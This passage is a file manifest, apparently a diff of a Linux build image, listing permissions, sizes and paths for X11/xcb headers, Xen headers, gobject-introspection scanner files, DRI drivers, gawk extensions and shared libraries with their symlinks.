+-rw-r--r-- root root 103726 ./usr/include/xcb/render.h
+-rw-r--r-- root root 24483 ./usr/include/xcb/res.h
+-rw-r--r-- root root 16460 ./usr/include/xcb/screensaver.h
+-rw-r--r-- root root 20806 ./usr/include/xcb/shape.h
+-rw-r--r-- root root 17261 ./usr/include/xcb/shm.h
+-rw-r--r-- root root 43756 ./usr/include/xcb/sync.h
+-rw-r--r-- root root 13990 ./usr/include/xcb/xcbext.h
+-rw-r--r-- root root 22260 ./usr/include/xcb/xcb.h
+-rw-r--r-- root root 7137 ./usr/include/xcb/xc_misc.h
+-rw-r--r-- root root 11593 ./usr/include/xcb/xevie.h
+-rw-r--r-- root root 28034 ./usr/include/xcb/xf86dri.h
+-rw-r--r-- root root 58079 ./usr/include/xcb/xfixes.h
+-rw-r--r-- root root 14955 ./usr/include/xcb/xinerama.h
+-rw-r--r-- root root 305557 ./usr/include/xcb/xinput.h
+-rw-r--r-- root root 246448 ./usr/include/xcb/xkb.h
+-rw-r--r-- root root 57187 ./usr/include/xcb/xprint.h
+-rw-r--r-- root root 385800 ./usr/include/xcb/xproto.h
+-rw-r--r-- root root 56622 ./usr/include/xcb/xselinux.h
+-rw-r--r-- root root 7589 ./usr/include/xcb/xtest.h
+-rw-r--r-- root root 57788 ./usr/include/xcb/xv.h
+-rw-r--r-- root root 24530 ./usr/include/xcb/xvmc.h
+drwxr-xr-x root root 4096 ./usr/include/xen
+-rw-r--r-- root root 3553 ./usr/include/xen/evtchn.h
+-rw-r--r-- root root 2619 ./usr/include/xen/gntalloc.h
+-rw-r--r-- root root 10647 ./usr/include/xen/gntdev.h
+-rw-r--r-- root root 4206 ./usr/include/xen/privcmd.h
+-rw-r--r-- root root 35465 ./usr/include/xf86drm.h
+-rw-r--r-- root root 18016 ./usr/include/xf86drmMode.h
+-rw-r--r-- root root 19283 ./usr/include/xtables.h
+-rw-r--r-- root root 75 ./usr/include/xtables-version.h
+-rw-r--r-- root root 16262 ./usr/include/zconf.h
+-rw-r--r-- root root 96239 ./usr/include/zlib.h
+drwxr-xr-x root root 20480 ./usr/lib
+drwxr-xr-x root root 4096 ./usr/lib/cmake
+drwxr-xr-x root root 4096 ./usr/lib/cmake/DBus1
+-rw-r--r-- root root 2883 ./usr/lib/cmake/DBus1/DBus1Config.cmake
+-rw-r--r-- root root 367 ./usr/lib/cmake/DBus1/DBus1ConfigVersion.cmake
+drwxr-xr-x root root 4096 ./usr/lib/cmake/libxml2
+-rw-r--r-- root root 1642 ./usr/lib/cmake/libxml2/libxml2-config.cmake
+drwxr-xr-x root root 4096 ./usr/lib/coreutils
+-rwxr-xr-x root root 14144 ./usr/lib/coreutils/libstdbuf.so
+-rw-r--r-- root root 4280 ./usr/lib/crt1.o
+-rw-r--r-- root root 2808 ./usr/lib/crti.o
+-rw-r--r-- root root 2552 ./usr/lib/crtn.o
+drwxr-xr-x root root 4096 ./usr/lib/dbus-1.0
+drwxr-xr-x root root 4096 ./usr/lib/dbus-1.0/include
+drwxr-xr-x root root 4096 ./usr/lib/dbus-1.0/include/dbus
+-rw-r--r-- root root 2052 ./usr/lib/dbus-1.0/include/dbus/dbus-arch-deps.h
+drwxr-xr-x root root 4096 ./usr/lib/dri
+-rwxr-xr-x root root 12207608 ./usr/lib/dri/i915_dri.so
+-rwxr-xr-x root root 12207608 ./usr/lib/dri/i965_dri.so
+-rwxr-xr-x root root 9195384 ./usr/lib/dri/kms_swrast_dri.so
+-rwxr-xr-x root root 12207608 ./usr/lib/dri/nouveau_vieux_dri.so
+-rwxr-xr-x root root 12207608 ./usr/lib/dri/r200_dri.so
+-rwxr-xr-x root root 12207608 ./usr/lib/dri/radeon_dri.so
+-rwxr-xr-x root root 9195384 ./usr/lib/dri/swrast_dri.so
+-rwxr-xr-x root root 9195384 ./usr/lib/dri/virtio_gpu_dri.so
+-rwxr-xr-x root root 14376 ./usr/lib/e2initrd_helper
+drwxr-xr-x root root 4096 ./usr/libexec
+drwxr-xr-x root root 4096 ./usr/libexec/awk
+-rwxr-xr-x root root 14288 ./usr/libexec/awk/grcat
+-rwxr-xr-x root root 14288 ./usr/libexec/awk/pwcat
+-rwsr-xr-x root messagebus 63592 ./usr/libexec/dbus-daemon-launch-helper
+-rwxr-xr-x root root 43168 ./usr/libexec/frcode
+-rwxr-xr-x root root 14304 ./usr/libexec/gio-querymodules
+-rwxr-xr-x root root 354584 ./usr/libexec/udevadm
+drwxr-xr-x root root 4096 ./usr/lib/gawk
+-rwxr-xr-x root root 39016 ./usr/lib/gawk/filefuncs.so
+-rwxr-xr-x root root 14288 ./usr/lib/gawk/fnmatch.so
+-rwxr-xr-x root root 14304 ./usr/lib/gawk/fork.so
+-rwxr-xr-x root root 14288 ./usr/lib/gawk/inplace.so
+-rwxr-xr-x root root 14208 ./usr/lib/gawk/intdiv.so
+-rwxr-xr-x root root 14256 ./usr/lib/gawk/ordchr.so
+-rwxr-xr-x root root 14192 ./usr/lib/gawk/readdir.so
+-rwxr-xr-x root root 14256 ./usr/lib/gawk/readfile.so
+-rwxr-xr-x root root 14200 ./usr/lib/gawk/revoutput.so
+-rwxr-xr-x root root 14200 ./usr/lib/gawk/revtwoway.so
+-rwxr-xr-x root root 18352 ./usr/lib/gawk/rwarray.so
+-rwxr-xr-x root root 14256 ./usr/lib/gawk/time.so
+-rw-r--r-- root root 7064 ./usr/lib/gcrt1.o
+drwxr-xr-x root root 4096 ./usr/lib/gio
+drwxr-xr-x root root 4096 ./usr/lib/gio/modules
+drwxr-xr-x root root 4096 ./usr/lib/girepository-1.0
+-rw-r--r-- root root 14344 ./usr/lib/girepository-1.0/cairo-1.0.typelib
+-rw-r--r-- root root 712 ./usr/lib/girepository-1.0/DBus-1.0.typelib
+-rw-r--r-- root root 560 ./usr/lib/girepository-1.0/DBusGLib-1.0.typelib
+-rw-r--r-- root root 348 ./usr/lib/girepository-1.0/fontconfig-2.0.typelib
+-rw-r--r-- root root 420 ./usr/lib/girepository-1.0/freetype2-2.0.typelib
+-rw-r--r-- root root 353336 ./usr/lib/girepository-1.0/Gio-2.0.typelib
+-rw-r--r-- root root 27752 ./usr/lib/girepository-1.0/GIRepository-2.0.typelib
+-rw-r--r-- root root 948 ./usr/lib/girepository-1.0/GL-1.0.typelib
+-rw-r--r-- root root 191884 ./usr/lib/girepository-1.0/GLib-2.0.typelib
+-rw-r--r-- root root 1340 ./usr/lib/girepository-1.0/GModule-2.0.typelib
+-rw-r--r-- root root 58972 ./usr/lib/girepository-1.0/GObject-2.0.typelib
+-rw-r--r-- root root 668 ./usr/lib/girepository-1.0/libxml2-2.0.typelib
+-rw-r--r-- root root 59380 ./usr/lib/girepository-1.0/Vulkan-1.0.typelib
+-rw-r--r-- root root 176 ./usr/lib/girepository-1.0/win32-1.0.typelib
+-rw-r--r-- root root 240 ./usr/lib/girepository-1.0/xfixes-4.0.typelib
+-rw-r--r-- root root 464 ./usr/lib/girepository-1.0/xft-2.0.typelib
+-rw-r--r-- root root 836 ./usr/lib/girepository-1.0/xlib-2.0.typelib
+-rw-r--r-- root root 640 ./usr/lib/girepository-1.0/xrandr-1.3.typelib
+drwxr-xr-x root root 4096 ./usr/lib/glib-2.0
+drwxr-xr-x root root 4096 ./usr/lib/glib-2.0/include
+-rw-r--r-- root root 5649 ./usr/lib/glib-2.0/include/glibconfig.h
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner
+-rw-r--r-- root root 3526 ./usr/lib/gobject-introspection/giscanner/annotationmain.py
+-rw-r--r-- root root 101376 ./usr/lib/gobject-introspection/giscanner/annotationparser.py
+-rw-r--r-- root root 43411 ./usr/lib/gobject-introspection/giscanner/ast.py
+-rw-r--r-- root root 5852 ./usr/lib/gobject-introspection/giscanner/cachestore.py
+-rw-r--r-- root root 19524 ./usr/lib/gobject-introspection/giscanner/ccompiler.py
+-rw-r--r-- root root 6190 ./usr/lib/gobject-introspection/giscanner/codegen.py
+-rw-r--r-- root root 3268 ./usr/lib/gobject-introspection/giscanner/docmain.py
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs
+-rw-r--r-- root root 567 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/base.tmpl
+-rw-r--r-- root root 113 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/callback.tmpl
+-rw-r--r-- root root 29 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/class.tmpl
+-rw-r--r-- root root 847 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/default.tmpl
+-rw-r--r-- root root 890 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_doc.tmpl
+-rw-r--r-- root root 313 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/enum.tmpl
+-rw-r--r-- root root 113 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/function.tmpl
+-rw-r--r-- root root 5189 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_index.tmpl
+-rw-r--r-- root root 29 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/interface.tmpl
+-rw-r--r-- root root 120 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_methods.tmpl
+-rw-r--r-- root root 1899 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_method.tmpl
+-rw-r--r-- root root 32 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/method.tmpl
+-rw-r--r-- root root 1278 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/namespace.tmpl
+-rw-r--r-- root root 1123 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_properties.tmpl
+-rw-r--r-- root root 652 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_signals.tmpl
+-rw-r--r-- root root 176 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_staticmethods.tmpl
+-rw-r--r-- root root 183 ./usr/lib/gobject-introspection/giscanner/doctemplates/devdocs/Gjs/_vfuncs.tmpl
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard
+-rw-r--r-- root root 765 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/base.tmpl
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C
+-rw-r--r-- root root 141 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/callback.tmpl
+-rw-r--r-- root root 57 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/class.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/constructor.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/default.tmpl
+-rw-r--r-- root root 56 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/enum.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/field.tmpl
+-rw-r--r-- root root 1654 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/function.tmpl
+-rw-r--r-- root root 57 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/interface.tmpl
+-rw-r--r-- root root 1982 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/class.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/method.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/namespace.tmpl
+-rw-r--r-- root root 191 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/property.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/record.tmpl
+-rw-r--r-- root root 196 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/signal.tmpl
+-rw-r--r-- root root 139 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/C/vfunc.tmpl
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs
+-rw-r--r-- root root 780 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/callback.tmpl
+-rw-r--r-- root root 863 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/class.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/constructor.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/default.tmpl
+-rw-r--r-- root root 511 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/enum.tmpl
+-rw-r--r-- root root 423 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/field.tmpl
+-rw-r--r-- root root 1469 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/function.tmpl
+-rw-r--r-- root root 558 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/interface.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/method.tmpl
+-rw-r--r-- root root 61 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/namespace.tmpl
+-rw-r--r-- root root 423 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/property.tmpl
+-rw-r--r-- root root 56 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/record.tmpl
+-rw-r--r-- root root 1185 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/signal.tmpl
+-rw-r--r-- root root 746 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Gjs/vfunc.tmpl
+-rw-r--r-- root root 551 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/namespace.tmpl
+drwxr-xr-x root root 4096 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python
+-rw-r--r-- root root 849 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/callback.tmpl
+-rw-r--r-- root root 593 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/class.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/constructor.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/default.tmpl
+-rw-r--r-- root root 264 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/enum.tmpl
+-rw-r--r-- root root 30 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/field.tmpl
+-rw-r--r-- root root 1572 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/function.tmpl
+-rw-r--r-- root root 535 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/interface.tmpl
+-rw-r--r-- root root 35 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/method.tmpl
+-rw-r--r-- root root 61 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/namespace.tmpl
+-rw-r--r-- root root 407 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/property.tmpl
+-rw-r--r-- root root 56 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/record.tmpl
+-rw-r--r-- root root 1235 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/signal.tmpl
+-rw-r--r-- root root 849 ./usr/lib/gobject-introspection/giscanner/doctemplates/mallard/Python/vfunc.tmpl
+-rw-r--r-- root root 50143 ./usr/lib/gobject-introspection/giscanner/docwriter.py
+-rw-r--r-- root root 10639 ./usr/lib/gobject-introspection/giscanner/dumper.py
+-rw-r--r-- root root 21322 ./usr/lib/gobject-introspection/giscanner/gdumpparser.py
+-rw-r--r-- root root 28229 ./usr/lib/gobject-introspection/giscanner/girparser.py
+-rw-r--r-- root root 28222 ./usr/lib/gobject-introspection/giscanner/girwriter.py
+-rwxr-xr-x root root 101672 ./usr/lib/gobject-introspection/giscanner/_giscanner.cpython-38-x86_64-linux-gnu.so
+-rw-r--r-- root root 1105 ./usr/lib/gobject-introspection/giscanner/__init__.py
+-rw-r--r-- root root 9398 ./usr/lib/gobject-introspection/giscanner/introspectablepass.py
+-rw-r--r-- root root 2554 ./usr/lib/gobject-introspection/giscanner/libtoolimporter.py
+-rw-r--r-- root root 65300 ./usr/lib/gobject-introspection/giscanner/maintransformer.py
+-rw-r--r-- root root 392 ./usr/lib/gobject-introspection/giscanner/mdextensions.py
+-rw-r--r-- root root 7612 ./usr/lib/gobject-introspection/giscanner/message.py
+-rw-r--r-- root root 3756 ./usr/lib/gobject-introspection/giscanner/msvccompiler.py
+-rw-r--r-- root root 2283 ./usr/lib/gobject-introspection/giscanner/pkgconfig.py
+-rw-r--r-- root root 27285 ./usr/lib/gobject-introspection/giscanner/scannermain.py
+-rw-r--r-- root root 4790 ./usr/lib/gobject-introspection/giscanner/sectionparser.py
+-rw-r--r-- root root 6259 ./usr/lib/gobject-introspection/giscanner/shlibs.py
+-rw-r--r-- root root 9628 ./usr/lib/gobject-introspection/giscanner/sourcescanner.py
+-rw-r--r-- root root 5699 ./usr/lib/gobject-introspection/giscanner/testcodegen.py
+-rw-r--r-- root root 44647 ./usr/lib/gobject-introspection/giscanner/transformer.py
+-rw-r--r-- root root 10521 ./usr/lib/gobject-introspection/giscanner/utils.py
+-rw-r--r-- root root 23 ./usr/lib/gobject-introspection/giscanner/_version.py
+-rw-r--r-- root root 5798 ./usr/lib/gobject-introspection/giscanner/xmlwriter.py
+-rwxr-xr-x root root 38904 ./usr/lib/libacl.so.1.1.2253
+lrwxrwxrwx root root 18 ./usr/lib/libacl.so.1 -> libacl.so.1.1.2253
+lrwxrwxrwx root root 18 ./usr/lib/libacl.so -> libacl.so.1.1.2253
+lrwxrwxrwx root root 21 ./usr/lib/libanl.so -> ../../lib/libanl.so.1
+-rwxr-xr-x root root 34856 ./usr/lib/libasm-0.179.so
+lrwxrwxrwx root root 15 ./usr/lib/libasm.so.1 -> libasm-0.179.so
+lrwxrwxrwx root root 11 ./usr/lib/libasm.so -> libasm.so.1
+-rwxr-xr-x root root 26512 ./usr/lib/libattr.so.1.1.2448
+lrwxrwxrwx root root 19 ./usr/lib/libattr.so.1 -> libattr.so.1.1.2448
+lrwxrwxrwx root root 19 ./usr/lib/libattr.so -> libattr.so.1.1.2448
+-rwxr-xr-x root root 1310600 ./usr/lib/libbfd-2.34.0.20200220.so
+lrwxrwxrwx root root 25 ./usr/lib/libbfd.so -> libbfd-2.34.0.20200220.so
+lrwxrwxrwx root root 27 ./usr/lib/libblkid.so -> ../../lib/libblkid.so.1.1.0
+lrwxrwxrwx root root 30 ./usr/lib/libBrokenLocale.so -> ../../lib/libBrokenLocale.so.1
+-rwxr-xr-x root root 383584 ./usr/lib/libbtrfs.so.0.1
+lrwxrwxrwx root root 15 ./usr/lib/libbtrfs.so.0 -> libbtrfs.so.0.1
+lrwxrwxrwx root root 15 ./usr/lib/libbtrfs.so -> libbtrfs.so.0.1
+-rwxr-xr-x root root 34704 ./usr/lib/libbtrfsutil.so.1.1.1
+lrwxrwxrwx root root 21 ./usr/lib/libbtrfsutil.so.1 -> libbtrfsutil.so.1.1.1
+lrwxrwxrwx root root 21 ./usr/lib/libbtrfsutil.so -> libbtrfsutil.so.1.1.1
+-rwxr-xr-x root root 74656 ./usr/lib/libbz2.so.1.0.6
+lrwxrwxrwx root root 15 ./usr/lib/libbz2.so.1 -> libbz2.so.1.0.6
+lrwxrwxrwx root root 15 ./usr/lib/libbz2.so -> libbz2.so.1.0.6
+-rwxr-xr-x root root 42752 ./usr/lib/libcairo-gobject.so.2.11600.0
+lrwxrwxrwx root root 29 ./usr/lib/libcairo-gobject.so.2 -> libcairo-gobject.so.2.11600.0
+lrwxrwxrwx root root 29 ./usr/lib/libcairo-gobject.so -> libcairo-gobject.so.2.11600.0
+-rwxr-xr-x root root 156384 ./usr/lib/libcairo-script-interpreter.so.2.11600.0
+lrwxrwxrwx root root 40 ./usr/lib/libcairo-script-interpreter.so.2 -> libcairo-script-interpreter.so.2.11600.0
+lrwxrwxrwx root root 40 ./usr/lib/libcairo-script-interpreter.so -> libcairo-script-interpreter.so.2.11600.0
+-rwxr-xr-x root root 1291312 ./usr/lib/libcairo.so.2.11600.0
+lrwxrwxrwx root root 21 ./usr/lib/libcairo.so.2 -> libcairo.so.2.11600.0
+lrwxrwxrwx root root 21 ./usr/lib/libcairo.so -> libcairo.so.2.11600.0
+lrwxrwxrwx root root 28 ./usr/lib/libcap-ng.so -> ../../lib/libcap-ng.so.0.0.0
+-rw-r--r-- root root 76674 ./usr/lib/libc_nonshared.a
+-rwxr-xr-x root root 2872136 ./usr/lib/libcrypto.so.1.1
+lrwxrwxrwx root root 16 ./usr/lib/libcrypto.so -> libcrypto.so.1.1
+-rwxr-xr-x root root 202648 ./usr/lib/libcrypt.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libcrypt.so.2 -> libcrypt.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libcrypt.so -> libcrypt.so.2.0.0
+-rw-r--r-- root root 247 ./usr/lib/libc.so
+-rwxr-xr-x root root 116736 ./usr/lib/libctf-nobfd.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libctf-nobfd.so.0 -> libctf-nobfd.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libctf-nobfd.so -> libctf-nobfd.so.0.0.0
+-rwxr-xr-x root root 116728 ./usr/lib/libctf.so.0.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libctf.so.0 -> libctf.so.0.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libctf.so -> libctf.so.0.0.0
+lrwxrwxrwx root root 13 ./usr/lib/libcurses.so -> libncurses.so
+-rwxr-xr-x root root 1267928 ./usr/lib/libdb-5.3.so
+lrwxrwxrwx root root 12 ./usr/lib/libdb-5.so -> libdb-5.3.so
+lrwxrwxrwx root root 12 ./usr/lib/libdb.so -> libdb-5.3.so
+-rwxr-xr-x root root 346240 ./usr/lib/libdbus-1.so.3.19.11
+lrwxrwxrwx root root 20 ./usr/lib/libdbus-1.so.3 -> libdbus-1.so.3.19.11
+lrwxrwxrwx root root 20 ./usr/lib/libdbus-1.so -> libdbus-1.so.3.19.11
+lrwxrwxrwx root root 20 ./usr/lib/libdl.so -> ../../lib/libdl.so.2
+-rwxr-xr-x root root 42824 ./usr/lib/libdrm_amdgpu.so.1.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libdrm_amdgpu.so.1 -> libdrm_amdgpu.so.1.0.0
+lrwxrwxrwx root root 18 ./usr/lib/libdrm_amdgpu.so -> libdrm_amdgpu.so.1
+-rwxr-xr-x root root 30536 ./usr/lib/libdrm_etnaviv.so.1.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libdrm_etnaviv.so.1 -> libdrm_etnaviv.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libdrm_etnaviv.so -> libdrm_etnaviv.so.1
+-rwxr-xr-x root root 34712 ./usr/lib/libdrm_freedreno.so.1.0.0
+lrwxrwxrwx root root 25 ./usr/lib/libdrm_freedreno.so.1 -> libdrm_freedreno.so.1.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libdrm_freedreno.so -> libdrm_freedreno.so.1
+-rwxr-xr-x root root 146920 ./usr/lib/libdrm_intel.so.1.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libdrm_intel.so.1 -> libdrm_intel.so.1.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libdrm_intel.so -> libdrm_intel.so.1
+-rwxr-xr-x root root 34632 ./usr/lib/libdrm_nouveau.so.2.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libdrm_nouveau.so.2 -> libdrm_nouveau.so.2.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libdrm_nouveau.so -> libdrm_nouveau.so.2
+-rwxr-xr-x root root 14080 ./usr/lib/libdrm_omap.so.1.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libdrm_omap.so.1 -> libdrm_omap.so.1.0.0
+lrwxrwxrwx root root 16 ./usr/lib/libdrm_omap.so -> libdrm_omap.so.1
+-rwxr-xr-x root root 55184 ./usr/lib/libdrm_radeon.so.1.0.1
+lrwxrwxrwx root root 22 ./usr/lib/libdrm_radeon.so.1 -> libdrm_radeon.so.1.0.1
+lrwxrwxrwx root root 18 ./usr/lib/libdrm_radeon.so -> libdrm_radeon.so.1
+-rwxr-xr-x root root 79752 ./usr/lib/libdrm.so.2.4.0
+lrwxrwxrwx root root 15 ./usr/lib/libdrm.so.2 -> libdrm.so.2.4.0
+lrwxrwxrwx root root 11 ./usr/lib/libdrm.so -> libdrm.so.2
+-rwxr-xr-x root root 650160 ./usr/lib/libdw-0.179.so
+lrwxrwxrwx root root 14 ./usr/lib/libdw.so.1 -> libdw-0.179.so
+lrwxrwxrwx root root 10 ./usr/lib/libdw.so -> libdw.so.1
+-rwxr-xr-x root root 100384 ./usr/lib/libelf-0.179.so
+lrwxrwxrwx root root 15 ./usr/lib/libelf.so.1 -> libelf-0.179.so
+lrwxrwxrwx root root 11 ./usr/lib/libelf.so -> libelf.so.1
+-rwxr-xr-x root root 182160 ./usr/lib/libexpat.so.1.6.11
+lrwxrwxrwx root root 18 ./usr/lib/libexpat.so.1 -> libexpat.so.1.6.11
+lrwxrwxrwx root root 18 ./usr/lib/libexpat.so -> libexpat.so.1.6.11
+lrwxrwxrwx root root 27 ./usr/lib/libfdisk.so -> ../../lib/libfdisk.so.1.1.0
+-rwxr-xr-x root root 43032 ./usr/lib/libffi.so.7.1.0
+lrwxrwxrwx root root 15 ./usr/lib/libffi.so.7 -> libffi.so.7.1.0
+lrwxrwxrwx root root 15 ./usr/lib/libffi.so -> libffi.so.7.1.0
+-rwxr-xr-x root root 14072 ./usr/lib/libfl.so.2.0.0
+lrwxrwxrwx root root 14 ./usr/lib/libfl.so.2 -> libfl.so.2.0.0
+lrwxrwxrwx root root 14 ./usr/lib/libfl.so -> libfl.so.2.0.0
+-rwxr-xr-x root root 288664 ./usr/lib/libfontconfig.so.1.12.0
+lrwxrwxrwx root root 23 ./usr/lib/libfontconfig.so.1 -> libfontconfig.so.1.12.0
+lrwxrwxrwx root root 23 ./usr/lib/libfontconfig.so -> libfontconfig.so.1.12.0
+-rwxr-xr-x root root 68696 ./usr/lib/libform.so.5.9
+lrwxrwxrwx root root 14 ./usr/lib/libform.so.5 -> libform.so.5.9
+lrwxrwxrwx root root 12 ./usr/lib/libform.so -> libform.so.5
+-rwxr-xr-x root root 76952 ./usr/lib/libformw.so.5.9
+lrwxrwxrwx root root 15 ./usr/lib/libformw.so.5 -> libformw.so.5.9
+lrwxrwxrwx root root 13 ./usr/lib/libformw.so -> libformw.so.5
+-rwxr-xr-x root root 722832 ./usr/lib/libfreetype.so.6.17.2
+lrwxrwxrwx root root 21 ./usr/lib/libfreetype.so.6 -> libfreetype.so.6.17.2
+lrwxrwxrwx root root 21 ./usr/lib/libfreetype.so -> libfreetype.so.6.17.2
+-rwxr-xr-x root root 14080 ./usr/lib/libgdbm_compat.so.4.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libgdbm_compat.so.4 -> libgdbm_compat.so.4.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libgdbm_compat.so -> libgdbm_compat.so.4.0.0
+-rwxr-xr-x root root 59392 ./usr/lib/libgdbm.so.6.0.0
+lrwxrwxrwx root root 16 ./usr/lib/libgdbm.so.6 -> libgdbm.so.6.0.0
+lrwxrwxrwx root root 16 ./usr/lib/libgdbm.so -> libgdbm.so.6.0.0
+-rwxr-xr-x root root 1932600 ./usr/lib/libgio-2.0.so.0.6400.2
+lrwxrwxrwx root root 22 ./usr/lib/libgio-2.0.so.0 -> libgio-2.0.so.0.6400.2
+lrwxrwxrwx root root 15 ./usr/lib/libgio-2.0.so -> libgio-2.0.so.0
+-rwxr-xr-x root root 223248 ./usr/lib/libgirepository-1.0.so.1.0.0
+lrwxrwxrwx root root 28 ./usr/lib/libgirepository-1.0.so.1 -> libgirepository-1.0.so.1.0.0
+lrwxrwxrwx root root 24 ./usr/lib/libgirepository-1.0.so -> libgirepository-1.0.so.1
+-rwxr-xr-x root root 325664 ./usr/lib/libglapi.so.0.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libglapi.so.0 -> libglapi.so.0.0.0
+lrwxrwxrwx root root 13 ./usr/lib/libglapi.so -> libglapi.so.0
+-rwxr-xr-x root root 1203480 ./usr/lib/libglib-2.0.so.0.6400.2
+lrwxrwxrwx root root 23 ./usr/lib/libglib-2.0.so.0 -> libglib-2.0.so.0.6400.2
+lrwxrwxrwx root root 16 ./usr/lib/libglib-2.0.so -> libglib-2.0.so.0
+-rwxr-xr-x root root 498608 ./usr/lib/libGL.so.1.2.0
+lrwxrwxrwx root root 14 ./usr/lib/libGL.so.1 -> libGL.so.1.2.0
+lrwxrwxrwx root root 10 ./usr/lib/libGL.so -> libGL.so.1
+-rwxr-xr-x root root 18304 ./usr/lib/libgmodule-2.0.so.0.6400.2
+lrwxrwxrwx root root 26 ./usr/lib/libgmodule-2.0.so.0 -> libgmodule-2.0.so.0.6400.2
+lrwxrwxrwx root root 19 ./usr/lib/libgmodule-2.0.so -> libgmodule-2.0.so.0
